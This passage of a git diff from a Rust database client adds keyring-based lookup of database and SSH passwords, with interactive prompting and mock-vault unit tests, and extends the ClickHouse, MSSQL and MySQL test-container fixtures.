+use uuid::Uuid; + +use super::{CredentialDemand, CredentialError, KeyringError, ResolvedSecret, SecretLabeler, english_secret_label}; +use crate::SavedConnection; + +/// A saved connection's secrets, read from the keyring at each connect. +/// +/// Reading at connect time rather than once at startup is what lets a +/// user fix a password in Seahorse, press Retry, and get in. When the +/// keyring cannot help and someone is there to ask, it asks. +#[derive(Clone)] +pub struct KeyringCredentials { + secrets: Arc, + connection_id: Uuid, + passphrase_stored: bool, + targets: [String; 3], + key_path: Option, + labeler: SecretLabeler, +} + +impl KeyringCredentials { + pub fn for_saved(secrets: Arc, saved: &SavedConnection) -> Self { + Self { + secrets, + connection_id: saved.id, + passphrase_stored: saved.has_stored_passphrase(), + targets: SecretKind::ALL.map(|kind| saved.secret_target(kind)), + key_path: saved.ssh_key_path().map(PathBuf::from), + labeler: english_secret_label, + } + } + + /// Label remembered secrets with the app's own, translated wording. + pub fn with_labeler(mut self, labeler: SecretLabeler) -> Self { + self.labeler = labeler; + self + } + + pub fn connection_id(&self) -> Uuid { + self.connection_id + } + + pub fn secrets(&self) -> &Arc { + &self.secrets + } + + /// The secret of `kind` to log in with. + /// + /// `in_use` is what the connection already holds, from an earlier + /// prompt in this session; it is kept when nothing is stored, so a + /// reconnect does not ask for a password that just worked. `None` + /// means the connection has no such secret to offer: an SSH key the + /// record says has no stored passphrase, which ssh asks for itself. + pub async fn resolve( + &self, + kind: SecretKind, + in_use: Option<&SecretString>, + interaction: &CredentialInteraction, + demand: CredentialDemand, + ) -> Result, CredentialError> { + if demand.reenter == Some(kind) + && let CredentialInteraction::Attended(prompter) = interaction + { + return self.ask(prompter, kind, PromptReason::Rejected, true).await.map(Some); + } + if kind == SecretKind::SshPassphrase && !self.passphrase_stored { + return Ok(None); + } + match self.secrets.load(self.connection_id, kind).await { + Ok(SecretLookup::Found(secret)) => Ok(Some(ResolvedSecret::known(secret))), + Ok(SecretLookup::NotStored) => { + if let Some(secret) = in_use.filter(|secret| !secret.expose_secret().is_empty()) { + return Ok(Some(ResolvedSecret::known(secret.clone()))); + } + match interaction { + CredentialInteraction::Attended(prompter) => { + self.ask(prompter, kind, PromptReason::NotStored, true).await.map(Some) + } + CredentialInteraction::Unattended => Err(KeyringError::SecretNotStored { kind }.into()), + } + } + Err(error) => match (interaction, prompt_reason(&error)) { + (CredentialInteraction::Attended(prompter), Some((reason, offer_remember))) => { + self.ask(prompter, kind, reason, offer_remember).await.map(Some) + } + _ => Err(KeyringError::Secret { kind, error }.into()), + }, + } + } + + async fn ask( + &self, + prompter: &Arc, + kind: SecretKind, + reason: PromptReason, + offer_remember: bool, + ) -> Result { + let target = self.target(kind).to_owned(); + let (purpose, label) = match kind { + SecretKind::DatabasePassword => (PromptPurpose::DatabasePassword { reason }, "Password"), + SecretKind::SshPassword => (PromptPurpose::SshPassword { reason }, "Password"), + SecretKind::SshPassphrase => ( + PromptPurpose::SshPassphrase { + path: self.key_path.clone().unwrap_or_default(), + reason, + }, + "Passphrase", + ), + }; + let request = CredentialPrompt { + purpose, + target: target.clone(), + fields: vec![PromptField { + label: label.to_owned(), + secret: true, + }], + offer_remember, + }; + let PromptReply::Submitted { values, remember } = prompter.prompt(request).await else { + return Err(CredentialError::Cancelled); + }; + let Some(secret) = values.into_iter().next() else { + return Err(CredentialError::Cancelled); + }; + let remember = (remember && offer_remember).then(|| SecretSave { + kind, + secret: secret.clone(), + label: (self.labeler)(kind, &target), + }); + Ok(ResolvedSecret { secret, remember }) + } + + fn target(&self, kind: SecretKind) -> &str { + let index = SecretKind::ALL + .iter() + .position(|candidate| *candidate == kind) + .unwrap_or(0); + &self.targets[index] + } +} + +impl std::fmt::Debug for KeyringCredentials { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("KeyringCredentials") + .field("connection_id", &self.connection_id) + .field("passphrase_stored", &self.passphrase_stored) + .finish_non_exhaustive() + } +} + +/// Which keyring failures a person can get past by typing the secret, +/// and whether remembering it afterwards can work. A missing service +/// cannot store anything, so it does not offer to. +fn prompt_reason(error: &SecretError) -> Option<(PromptReason, bool)> { + match error { + SecretError::Locked | SecretError::UnlockDismissed => Some((PromptReason::KeyringLocked, true)), + SecretError::ServiceUnavailable { detail } | SecretError::PortalUnavailable { detail } => { + Some((PromptReason::KeyringUnavailable { detail: detail.clone() }, false)) + } + SecretError::InvalidEncoding | SecretError::Backend { .. } => None, + } +} + +#[cfg(test)] +mod tests { + use std::collections::{HashMap, VecDeque}; + use std::future::Future; + use std::pin::Pin; + use std::sync::Mutex; + + use async_trait::async_trait; + use tablepro_core::{AuthMode, TlsConfig}; + + use super::*; + use crate::{SavedSshAuth, SavedSshConfig}; + + /// A keyring that answers from a map, failing loads of one kind on + /// request and counting every load. + #[derive(Default)] + struct Vault { + stored: Mutex>, + failing: Mutex>, + loads: Mutex>, + } + + impl Vault { + fn holding(kind: SecretKind, secret: &str) -> Self { + let vault = Self::default(); + vault.stored.lock().unwrap().insert(kind, secret.to_owned()); + vault + } + + fn failing(kind: SecretKind, error: SecretError) -> Self { + let vault = Self::default(); + vault.failing.lock().unwrap().insert(kind, error); + vault + } + + fn loads(&self) -> Vec { + self.loads.lock().unwrap().clone() + } + } + + #[async_trait] + impl SecretVault for Vault { + async fn store(&self, _: Uuid, kind: SecretKind, secret: &SecretString, _: &str) -> Result<(), SecretError> { + self.stored + .lock() + .unwrap() + .insert(kind, secret.expose_secret().to_owned()); + Ok(()) + } + + async fn load(&self, _: Uuid, kind: SecretKind) -> Result { + self.loads.lock().unwrap().push(kind); + if let Some(error) = self.failing.lock().unwrap().get(&kind) { + return Err(error.clone()); + } + Ok(match self.stored.lock().unwrap().get(&kind) { + Some(secret) => SecretLookup::Found(SecretString::from(secret.clone())), + None => SecretLookup::NotStored, + }) + } + + async fn relabel(&self, _: Uuid, _: SecretKind, _: &str) -> Result<(), SecretError> { + Ok(()) + } + + async fn delete_kind(&self, _: Uuid, kind: SecretKind) -> Result<(), SecretError> { + self.stored.lock().unwrap().remove(&kind); + Ok(()) + } + + async fn delete_connection(&self, _: Uuid) -> Result<(), SecretError> { + self.stored.lock().unwrap().clear(); + Ok(()) + } + } + + #[derive(Default)] + struct Prompter { + replies: Mutex>, + requests: Mutex>, + } + + impl Prompter { + fn answering(replies: impl IntoIterator) -> Arc { + Arc::new(Self { + replies: Mutex::new(replies.into_iter().collect()), + requests: Mutex::default(), + }) + } + + fn requests(&self) -> Vec { + self.requests.lock().unwrap().clone() + } + } + + impl CredentialPrompter for Prompter { + fn prompt(&self, request: CredentialPrompt) -> Pin + Send + 'static>> { + self.requests.lock().unwrap().push(request); + let reply = self + .replies + .lock() + .unwrap() + .pop_front() + .unwrap_or(PromptReply::Cancelled); + Box::pin(async move { reply }) + } + } + + fn typed(secret: &str, remember: bool) -> PromptReply { + PromptReply::Submitted { + values: vec![SecretString::from(secret)], + remember, + } + } + + fn saved(ssh: Option) -> SavedConnection { + SavedConnection { + id: Uuid::new_v4(), + name: "Prod".to_owned(), + driver_id: "postgres".to_owned(), + host: "db.example.com".to_owned(), + port: 5432, + database: "shop".to_owned(), + username: "app".to_owned(), + tls: TlsConfig::verify_full(), + read_only: false, + auth_mode: AuthMode::Password, + ssh: ssh.map(|auth| SavedSshConfig { + host: "bastion.example.com".to_owned(), + port: None, + username: Some("deploy".to_owned()), + jump_hosts: Vec::new(), + auth, + }), + last_opened_at: None, + color: None, + group: None, + } + } + + fn credentials(vault: Vault, ssh: Option) -> (KeyringCredentials, Arc) { + let vault = Arc::new(vault); + (KeyringCredentials::for_saved(vault.clone(), &saved(ssh)), vault) + } + + fn attended(prompter: &Arc) -> CredentialInteraction { + CredentialInteraction::Attended(prompter.clone()) + } + + async fn resolve( + credentials: &KeyringCredentials, + kind: SecretKind, + interaction: &CredentialInteraction, + ) -> Result, CredentialError> { + credentials + .resolve(kind, None, interaction, CredentialDemand::default()) + .await + } + + #[tokio::test] + async fn keyring_credentials_found_injects_secret() { + let (credentials, _) = credentials(Vault::holding(SecretKind::DatabasePassword, "s3cret"), None); + + let resolved = resolve( + &credentials, + SecretKind::DatabasePassword, + &CredentialInteraction::Unattended, + ) + .await + .unwrap() + .unwrap(); + + assert_eq!(resolved.secret.expose_secret(), "s3cret"); + assert!(resolved.remember.is_none()); + } + + #[tokio::test] + async fn keyring_credentials_not_stored_is_error_not_empty_password() { + let (credentials, _) = credentials(Vault::default(), None); + + let refused = resolve( + &credentials, + SecretKind::DatabasePassword, + &CredentialInteraction::Unattended, + ) + .await; + + assert_eq!( + refused.unwrap_err(), + CredentialError::Keyring(KeyringError::SecretNotStored { + kind: SecretKind::DatabasePassword + }) + ); + } + + #[tokio::test] + async fn storage_error_propagates_as_keyring() { + let (credentials, _) = credentials(Vault::failing(SecretKind::SshPassword, SecretError::Locked), None); + + let refused = resolve( + &credentials, + SecretKind::SshPassword, + &CredentialInteraction::Unattended, + ) + .await; + + assert_eq!( + refused.unwrap_err(), + CredentialError::Keyring(KeyringError::Secret { + kind: SecretKind::SshPassword, + error: SecretError::Locked, + }) + ); + } + + #[tokio::test] + async fn found_secret_no_prompt() { + let prompter = Prompter::answering([]); + let (credentials, _) = credentials(Vault::holding(SecretKind::DatabasePassword, "s3cret"), None); + + resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)) + .await + .unwrap(); + + assert!(prompter.requests().is_empty()); + } + + #[tokio::test] + async fn not_stored_attended_prompts_once_and_returns_remember() { + let prompter = Prompter::answering([typed("typed", true)]); + let (credentials, _) = credentials(Vault::default(), None); + + let resolved = resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)) + .await + .unwrap() + .unwrap(); + + assert_eq!(resolved.secret.expose_secret(), "typed"); + let requests = prompter.requests(); + assert_eq!(requests.len(), 1); + assert_eq!( + requests[0].purpose, + PromptPurpose::DatabasePassword { + reason: PromptReason::NotStored + } + ); + assert_eq!(requests[0].target, "app@db.example.com:5432/shop"); + assert!(requests[0].offer_remember); + assert!(requests[0].fields.iter().all(|field| field.secret)); + let remember = resolved.remember.unwrap(); + assert_eq!(remember.kind, SecretKind::DatabasePassword); + assert_eq!(remember.secret.expose_secret(), "typed"); + assert_eq!( + remember.label, + "TablePro database password for app@db.example.com:5432/shop" + ); + } + + #[tokio::test] + async fn a_typed_secret_is_not_remembered_unless_asked() { + let prompter = Prompter::answering([typed("typed", false)]); + let (credentials, _) = credentials(Vault::default(), None); + + let resolved = resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)) + .await + .unwrap() + .unwrap(); + + assert!(resolved.remember.is_none()); + } + + #[tokio::test] + async fn locked_attended_prompt_reason_keyring_locked() { + let prompter = Prompter::answering([typed("typed", true)]); + let (credentials, _) = credentials( + Vault::failing(SecretKind::DatabasePassword, SecretError::UnlockDismissed), + None, + ); + + resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)) + .await + .unwrap(); + + let requests = prompter.requests(); + assert_eq!( + requests[0].purpose, + PromptPurpose::DatabasePassword { + reason: PromptReason::KeyringLocked + } + ); + assert!(requests[0].offer_remember); + } + + #[tokio::test] + async fn service_unavailable_prompt_without_remember() { + let prompter = Prompter::answering([typed("typed", true)]); + let unavailable = SecretError::ServiceUnavailable { + detail: "no service".to_owned(), + }; + let (credentials, _) = credentials(Vault::failing(SecretKind::DatabasePassword, unavailable), None); + + let resolved = resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)) + .await + .unwrap() + .unwrap(); + + let requests = prompter.requests(); + assert_eq!( + requests[0].purpose, + PromptPurpose::DatabasePassword { + reason: PromptReason::KeyringUnavailable { + detail: "no service".to_owned() + } + } + ); + assert!(!requests[0].offer_remember); + assert!( + resolved.remember.is_none(), + "a secret was kept with no keyring to keep it in" + ); + } + + #[tokio::test] + async fn a_backend_error_is_reported_even_when_someone_could_type() { + let prompter = Prompter::answering([typed("typed", true)]); + let backend = SecretError::Backend { + detail: "broken".to_owned(), + }; + let (credentials, _) = credentials(Vault::failing(SecretKind::DatabasePassword, backend.clone()), None); + + let refused = resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)).await; + + assert_eq!( + refused.unwrap_err(), + CredentialError::Keyring(KeyringError::Secret { + kind: SecretKind::DatabasePassword, + error: backend, + }) + ); + assert!(prompter.requests().is_empty()); + } + + #[tokio::test] + async fn cancel_is_connect_cancelled() { + let prompter = Prompter::answering([PromptReply::Cancelled]); + let (credentials, _) = credentials(Vault::default(), None); + + let refused = resolve(&credentials, SecretKind::DatabasePassword, &attended(&prompter)).await; + + assert_eq!(refused.unwrap_err(), CredentialError::Cancelled); + } + + #[tokio::test] + async fn reenter_skips_keyring_even_when_found() { + let prompter = Prompter::answering([typed("new", true)]); + let (credentials, vault) = credentials(Vault::holding(SecretKind::DatabasePassword, "old"), None); + + let resolved = credentials + .resolve( + SecretKind::DatabasePassword, + None, + &attended(&prompter), + CredentialDemand::reenter(SecretKind::DatabasePassword), + ) + .await + .unwrap() + .unwrap(); + + assert_eq!(resolved.secret.expose_secret(), "new"); + assert!(vault.loads().is_empty(), "the refused secret was read again"); + assert_eq!( + prompter.requests()[0].purpose, + PromptPurpose::DatabasePassword { + reason: PromptReason::Rejected + } + ); + } + + #[tokio::test] + async fn not_stored_keeps_the_secret_already_in_use() { + let (credentials, _) = credentials(Vault::default(), None); + let in_use = SecretString::from("typed earlier"); + + let resolved = credentials + .resolve( + SecretKind::DatabasePassword, + Some(&in_use), + &CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await + .unwrap() + .unwrap(); + + assert_eq!(resolved.secret.expose_secret(), "typed earlier"); + } + + #[tokio::test] + async fn an_empty_secret_in_use_is_not_kept() { + let (credentials, _) = credentials(Vault::default(), None); + let placeholder = SecretString::from(""); + + let refused = credentials + .resolve( + SecretKind::DatabasePassword, + Some(&placeholder), + &CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await; + + assert!(matches!( + refused, + Err(CredentialError::Keyring(KeyringError::SecretNotStored { .. })) + )); + } + + #[tokio::test] + async fn a_passphrase_the_record_does_not_hold_is_left_to_ssh() { + let key = SavedSshAuth::PrivateKey { + path: Some(PathBuf::from("/home/u/.ssh/id_ed25519")), + has_passphrase: false, + }; + let (credentials, vault) = credentials(Vault::default(), Some(key)); + + let resolved = resolve( + &credentials, + SecretKind::SshPassphrase, + &CredentialInteraction::Unattended, + ) + .await + .unwrap(); + + assert!(resolved.is_none()); + assert!(vault.loads().is_empty(), "the keyring was asked for nothing"); + } + + #[tokio::test] + async fn a_stored_passphrase_prompt_names_the_key_file() { + let key = SavedSshAuth::PrivateKey { + path: Some(PathBuf::from("/home/u/.ssh/id_ed25519")), + has_passphrase: true, + }; + let prompter = Prompter::answering([typed("phrase", true)]); + let (credentials, _) = credentials(Vault::default(), Some(key)); + + let resolved = resolve(&credentials, SecretKind::SshPassphrase, &attended(&prompter)) + .await + .unwrap() + .unwrap(); + + assert_eq!(resolved.secret.expose_secret(), "phrase"); + let request = &prompter.requests()[0]; + assert_eq!( + request.purpose, + PromptPurpose::SshPassphrase { + path: PathBuf::from("/home/u/.ssh/id_ed25519"), + reason: PromptReason::NotStored + } + ); + assert_eq!(request.target, "/home/u/.ssh/id_ed25519"); + } + + #[tokio::test] + async fn a_custom_labeler_names_remembered_secrets() { + let prompter = Prompter::answering([typed("typed", true)]); + let (credentials, _) = credentials(Vault::default(), Some(SavedSshAuth::Password)); + let credentials = credentials.with_labeler(|kind, target| format!("{kind:?} {target}")); + + let resolved = resolve(&credentials, SecretKind::SshPassword, &attended(&prompter)) + .await + .unwrap() + .unwrap(); + + assert_eq!( + resolved.remember.unwrap().label, + "SshPassword deploy@bastion.example.com" + ); + } +} diff --git a/linux/crates/storage/src/credentials/mod.rs b/linux/crates/storage/src/credentials/mod.rs new file mode 100644 index 0000000000..febf21f69d --- /dev/null +++ b/linux/crates/storage/src/credentials/mod.rs @@ -0,0 +1,11 @@ +mod credential_demand; +mod credential_error; +mod keyring_credentials; +mod resolved_secret; +mod secret_labeler; + +pub use credential_demand::CredentialDemand; +pub use credential_error::{CredentialError, KeyringError}; +pub use keyring_credentials::KeyringCredentials; +pub use resolved_secret::ResolvedSecret; +pub use secret_labeler::{SecretLabeler, english_secret_label}; diff --git a/linux/crates/storage/src/credentials/resolved_secret.rs b/linux/crates/storage/src/credentials/resolved_secret.rs new file mode 100644 index 0000000000..8e16a55b08 --- /dev/null +++ b/linux/crates/storage/src/credentials/resolved_secret.rs @@ -0,0 +1,17 @@ +use secrecy::SecretString; +use tablepro_core::credentials::SecretSave; + +/// A secret ready to log in with. +#[derive(Debug, Clone)] +pub struct ResolvedSecret { + pub secret: SecretString, + /// Set when the user typed the secret and asked for it to be kept. + /// The caller stores it once the login it was typed for works. + pub remember: Option, +} + +impl ResolvedSecret { + pub(super) fn known(secret: SecretString) -> Self { + Self { secret, remember: None } + } +} diff --git a/linux/crates/storage/src/credentials/secret_labeler.rs b/linux/crates/storage/src/credentials/secret_labeler.rs new file mode 100644 index 0000000000..eabc96750a --- /dev/null +++ b/linux/crates/storage/src/credentials/secret_labeler.rs @@ -0,0 +1,16 @@ +use tablepro_core::credentials::SecretKind; + +/// Turns a secret's target into the label the keyring shows for it. +/// +/// A plain function so the app can pass its translated wording without +/// this crate knowing about gettext. +pub type SecretLabeler = fn(SecretKind, &str) -> String; + +/// The untranslated label, for callers that have no catalog. +pub fn english_secret_label(kind: SecretKind, target: &str) -> String { + match kind { + SecretKind::DatabasePassword => format!("TablePro database password for {target}"), + SecretKind::SshPassword => format!("TablePro SSH password for {target}"), + SecretKind::SshPassphrase => format!("TablePro SSH key passphrase for {target}"), + } +} diff --git a/linux/crates/storage/src/lib.rs b/linux/crates/storage/src/lib.rs index 1898338114..830d147e97 100644 --- a/linux/crates/storage/src/lib.rs +++ b/linux/crates/storage/src/lib.rs @@ -1,5 +1,6 @@ mod connection_color; mod connections; +mod credentials; pub mod document; mod document_problem; pub mod drafts; @@ -17,6 +18,10 @@ pub use connections::{ ConnectionListSnapshot, ConnectionListState, ConnectionStore, ImportReport, RemoveOutcome, SavedConnection, SavedSshAuth, SavedSshConfig, duplicate, }; +pub use credentials::{ + CredentialDemand, CredentialError, KeyringCredentials, KeyringError, ResolvedSecret, SecretLabeler, + english_secret_label, +}; pub use document_problem::{DocumentProblem, DocumentProblemKind}; pub use drafts::{DraftId, DraftScope, DraftStore}; pub use error::StorageError; diff --git a/linux/crates/storage/src/secrets/secret_store.rs b/linux/crates/storage/src/secrets/secret_store.rs index f444498d84..5c086366e7 100644 --- a/linux/crates/storage/src/secrets/secret_store.rs +++ b/linux/crates/storage/src/secrets/secret_store.rs @@ -70,10 +70,10 @@ impl SecretStore { impl SecretVault for SecretStore { async fn store(&self, id: Uuid, kind: SecretKind, secret: &SecretString, label: &str) -> Result<(), SecretError> { let attributes = secret_attributes::for_secret(&self.schema, id, kind); - let value = secret.expose_secret().to_owned(); + // The one copy is the oo7::Secret, which zeroes itself on drop. self.with_keyring(async |keyring| { keyring - .create_item(label, &attributes, oo7::Secret::text(&value), true) + .create_item(label, &attributes, oo7::Secret::text(secret.expose_secret()), true) .await }) .await @@ -98,8 +98,8 @@ impl SecretVault for SecretStore { let Some(secret) = secret else { return Ok(SecretLookup::NotStored); }; - // oo7::Secret zeroes itself on drop, so nothing is copied out - // when the bytes are not text. + // oo7::Secret zeroes itself on drop, and the one copy taken out + // moves straight into a SecretString, which zeroes it too. let text = std::str::from_utf8(secret.as_bytes()).map_err(|_| SecretError::InvalidEncoding)?; Ok(SecretLookup::Found(SecretString::from(text.to_owned()))) } diff --git a/linux/crates/storage/tests/isolation.rs b/linux/crates/storage/tests/isolation.rs index b933518bae..57caf42ec6 100644 --- a/linux/crates/storage/tests/isolation.rs +++ b/linux/crates/storage/tests/isolation.rs @@ -44,7 +44,7 @@ fn connection(name: &str) -> SavedConnection { port: 5432, database: "app".to_owned(), username: "tablepro".to_owned(), - use_tls: false, + tls: tablepro_core::TlsConfig::disabled(), read_only: false, auth_mode: tablepro_core::AuthMode::Password, ssh: None, diff --git a/linux/crates/test-fixtures/src/clickhouse_fixture.rs b/linux/crates/test-fixtures/src/clickhouse_fixture.rs index 2f7b058ffe..eb8f49b41b 100644 --- a/linux/crates/test-fixtures/src/clickhouse_fixture.rs +++ b/linux/crates/test-fixtures/src/clickhouse_fixture.rs @@ -4,10 +4,10 @@ use testcontainers::runners::AsyncRunner; use testcontainers::{ContainerAsync, GenericImage, ImageExt}; use crate::container_file::with_files; -use crate::{ContainerFile, ExecOutput, FixtureCredentials, FixtureError, FixtureImage, PkiFile, TestPki}; +use crate::{ContainerFile, ExecOutput, FixtureCredentials, FixtureError, FixtureImage, PkiFile, TestNetwork, TestPki}; -const HTTP_PORT: u16 = 8123; -const HTTPS_PORT: u16 = 8443; +const HTTP_PORT: u16 = ClickHouseFixture::HTTP_PORT; +const HTTPS_PORT: u16 = ClickHouseFixture::HTTPS_PORT; const PASSWORD_USER: &str = "tablepro"; pub struct ClickHouseFixture { @@ -17,23 +17,39 @@ pub struct ClickHouseFixture { host: String, http_port: u16, https_port: u16, + network_alias: Option, } impl ClickHouseFixture { pub const TLS_DIR: &'static str = "/etc/clickhouse-server/tls"; + pub const NETWORK_ROLE: &'static str = "clickhouse"; + pub const HTTP_PORT: u16 = 8123; + pub const HTTPS_PORT: u16 = 8443; pub async fn start() -> Result { + Self::launch(None).await + } + + pub async fn start_in(network: &TestNetwork) -> Result { + Self::launch(Some(network)).await + } + + async fn launch(network: Option<&TestNetwork>) -> Result { let pki = TestPki::generate()?; let password = FixtureCredentials::generate_password(); let ready = HttpWaitStrategy::new("/ping") .with_port(HTTP_PORT.tcp()) .with_expected_status_code(200_u16); - let request = FixtureImage::CLICKHOUSE + let mut request = FixtureImage::CLICKHOUSE .generic() .with_exposed_port(HTTP_PORT.tcp()) .with_exposed_port(HTTPS_PORT.tcp()) .with_wait_for(WaitFor::http(ready)) .with_env_var("CLICKHOUSE_DB", "tablepro"); + let network_alias = network.map(|network| network.container_name(Self::NETWORK_ROLE)); + if let (Some(network), Some(alias)) = (network, &network_alias) { + request = request.with_network(network.name()).with_container_name(alias); + } let container = with_files(request, Self::files(&pki, &password)?).start().await?; let host = container.get_host().await?.to_string(); let http_port = container.get_host_port_ipv4(HTTP_PORT).await?; @@ -45,6 +61,7 @@ impl ClickHouseFixture { host, http_port, https_port, + network_alias, }) } @@ -98,6 +115,10 @@ impl ClickHouseFixture { self.https_port } + pub fn network_alias(&self) -> Option<&str> { + self.network_alias.as_deref() + } + pub fn pki(&self) -> &TestPki { &self.pki } diff --git a/linux/crates/test-fixtures/src/container_file.rs b/linux/crates/test-fixtures/src/container_file.rs index 0a1c48bb4a..9cf53a45fb 100644 --- a/linux/crates/test-fixtures/src/container_file.rs +++ b/linux/crates/test-fixtures/src/container_file.rs @@ -53,7 +53,7 @@ pub(crate) fn with_files(request: ContainerRequest, files: Vec(program: &'static str, arguments: I) where I: IntoIterator, S: AsRef, +{ + run_host_command_with_env(program, arguments, std::iter::empty::<(&str, &OsStr)>()).await +} + +pub(crate) async fn run_host_command_with_env( + program: &'static str, + arguments: I, + environment: E, +) -> Result +where + I: IntoIterator, + S: AsRef, + E: IntoIterator, + K: AsRef, + V: AsRef, { let output = Command::new(program) .args(arguments) + .envs(environment) .stdin(Stdio::null()) .output() .await?; diff --git a/linux/crates/test-fixtures/src/lib.rs b/linux/crates/test-fixtures/src/lib.rs index e491fba87e..a63acafb97 100644 --- a/linux/crates/test-fixtures/src/lib.rs +++ b/linux/crates/test-fixtures/src/lib.rs @@ -11,12 +11,16 @@ mod host_key_revocation; mod mssql_fixture; mod mysql_fixture; mod mysql_flavour; +mod mysql_options; mod openssh_fixture; mod pgbouncer_fixture; +mod pki_algorithm; mod pki_file; mod pool_mode; mod postgres_fixture; +mod postgres_version; mod scripted_askpass; +mod ssh_agent; mod ssh_auth_variant; mod ssh_key_pair; mod test_network; @@ -34,12 +38,16 @@ pub use host_key_revocation::HostKeyRevocation; pub use mssql_fixture::MssqlFixture; pub use mysql_fixture::MysqlFixture; pub use mysql_flavour::MysqlFlavour; +pub use mysql_options::MysqlOptions; pub use openssh_fixture::OpenSshFixture; pub use pgbouncer_fixture::PgBouncerFixture; +pub use pki_algorithm::PkiAlgorithm; pub use pki_file::PkiFile; pub use pool_mode::PoolMode; pub use postgres_fixture::PostgresFixture; +pub use postgres_version::PostgresVersion; pub use scripted_askpass::ScriptedAskpass; +pub use ssh_agent::SshAgent; pub use ssh_auth_variant::SshAuthVariant; pub use ssh_key_pair::SshKeyPair; pub use test_network::TestNetwork; diff --git a/linux/crates/test-fixtures/src/mssql_fixture.rs b/linux/crates/test-fixtures/src/mssql_fixture.rs index b8198f76fd..8ecd424163 100644 --- a/linux/crates/test-fixtures/src/mssql_fixture.rs +++ b/linux/crates/test-fixtures/src/mssql_fixture.rs @@ -11,6 +11,7 @@ use crate::{ContainerFile, ExecOutput, FixtureCredentials, FixtureError, Fixture const CONTAINER_PORT: u16 = 1433; const ADMIN_USER: &str = "sa"; const STARTUP_TIMEOUT: Duration = Duration::from_secs(240); +const MEMORY_LIMIT_MB: &str = "2048"; pub struct MssqlFixture { container: ContainerAsync, @@ -31,7 +32,10 @@ impl MssqlFixture { .with_sa_password(&password) .with_name(FixtureImage::MSSQL.name) .with_tag(FixtureImage::MSSQL.tag) - .with_startup_timeout(STARTUP_TIMEOUT); + .with_startup_timeout(STARTUP_TIMEOUT) + // SQL Server otherwise takes 80% of the host's memory, and a + // container left behind by a killed test keeps all of it. + .with_env_var("MSSQL_MEMORY_LIMIT_MB", MEMORY_LIMIT_MB); let container = with_files(request, Self::files(&pki)?).start().await?; let host = container.get_host().await?.to_string(); let port = container.get_host_port_ipv4(CONTAINER_PORT).await?; diff --git a/linux/crates/test-fixtures/src/mysql_fixture.rs b/linux/crates/test-fixtures/src/mysql_fixture.rs index 0c49b0b782..be907539af 100644 --- a/linux/crates/test-fixtures/src/mysql_fixture.rs +++ b/linux/crates/test-fixtures/src/mysql_fixture.rs @@ -3,75 +3,112 @@ use testcontainers::runners::AsyncRunner; use testcontainers::{ContainerAsync, GenericImage, ImageExt}; use crate::container_file::with_files; -use crate::{ContainerFile, ExecOutput, FixtureCredentials, FixtureError, MysqlFlavour, PkiFile, TestPki}; +use crate::{ + ContainerFile, ExecOutput, FixtureCredentials, FixtureError, MysqlFlavour, MysqlOptions, PkiFile, TestNetwork, + TestPki, +}; const DATABASE: &str = "tablepro"; const PASSWORD_USER: &str = "tablepro"; -const CONTAINER_PORT: u16 = 3306; +const ROOT_USER: &str = "root"; pub struct MysqlFixture { container: ContainerAsync, - flavour: MysqlFlavour, + options: MysqlOptions, pki: TestPki, password: String, + root_password: String, certificate_password: String, host: String, port: u16, + network_alias: Option, } impl MysqlFixture { pub const TLS_DIR: &'static str = "/etc/mysql/tls"; + pub const NETWORK_ROLE: &'static str = "mysql"; + pub const CONTAINER_PORT: u16 = 3306; pub async fn start(flavour: MysqlFlavour) -> Result { + Self::start_with(MysqlOptions::new(flavour), None).await + } + + pub async fn start_in(flavour: MysqlFlavour, network: &TestNetwork) -> Result { + Self::start_with(MysqlOptions::new(flavour), Some(network)).await + } + + pub async fn start_with(options: MysqlOptions, network: Option<&TestNetwork>) -> Result { let pki = TestPki::generate()?; let password = FixtureCredentials::generate_password(); + let root_password = FixtureCredentials::generate_password(); let certificate_password = FixtureCredentials::generate_password(); + let flavour = options.flavour; let prefix = flavour.environment_prefix(); let image = flavour .ready_conditions() .into_iter() .fold(flavour.image().generic(), GenericImage::with_wait_for) - .with_exposed_port(CONTAINER_PORT.tcp()); - let request = image - .with_env_var(format!("{prefix}_RANDOM_ROOT_PASSWORD"), "yes") + .with_exposed_port(Self::CONTAINER_PORT.tcp()); + let mut request = image + .with_env_var(format!("{prefix}_ROOT_PASSWORD"), &root_password) .with_env_var(format!("{prefix}_DATABASE"), DATABASE) .with_env_var(format!("{prefix}_USER"), PASSWORD_USER) .with_env_var(format!("{prefix}_PASSWORD"), &password) - .with_cmd(Self::server_arguments()); - let container = with_files(request, Self::files(&pki, &certificate_password)?) + .with_cmd(Self::server_arguments(&options)); + let network_alias = network.map(|network| network.container_name(Self::NETWORK_ROLE)); + if let (Some(network), Some(alias)) = (network, &network_alias) { + request = request.with_network(network.name()).with_container_name(alias); + } + let container = with_files(request, Self::files(&pki, &options, &certificate_password)?) .start() .await?; let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(CONTAINER_PORT).await?; + let port = container.get_host_port_ipv4(Self::CONTAINER_PORT).await?; Ok(Self { container, - flavour, + options, pki, password, + root_password, certificate_password, host, port, + network_alias, }) } - pub fn server_arguments() -> Vec { + pub fn server_arguments(options: &MysqlOptions) -> Vec { let tls = Self::TLS_DIR; - vec![ + let mut arguments = vec![ format!("--ssl-ca={tls}/ca.pem"), format!("--ssl-cert={tls}/server.pem"), format!("--ssl-key={tls}/server.key"), - "--require-secure-transport=ON".to_owned(), - ] + ]; + if options.require_secure_transport { + arguments.push("--require-secure-transport=ON".to_owned()); + } + if options.trust_function_creators { + arguments.push("--log-bin-trust-function-creators=ON".to_owned()); + } + arguments.extend(options.server_arguments.iter().cloned()); + arguments } - pub fn files(pki: &TestPki, certificate_password: &str) -> Result, FixtureError> { + pub fn files( + pki: &TestPki, + options: &MysqlOptions, + certificate_password: &str, + ) -> Result, FixtureError> { let tls = Self::TLS_DIR; let client = TestPki::CLIENT_COMMON_NAME; - let principals = format!( - "ALTER USER '{PASSWORD_USER}'@'%' REQUIRE SSL;\n\ - CREATE USER '{client}'@'%' IDENTIFIED BY '{certificate_password}' REQUIRE X509;\n\ + let mut principals = String::new(); + if 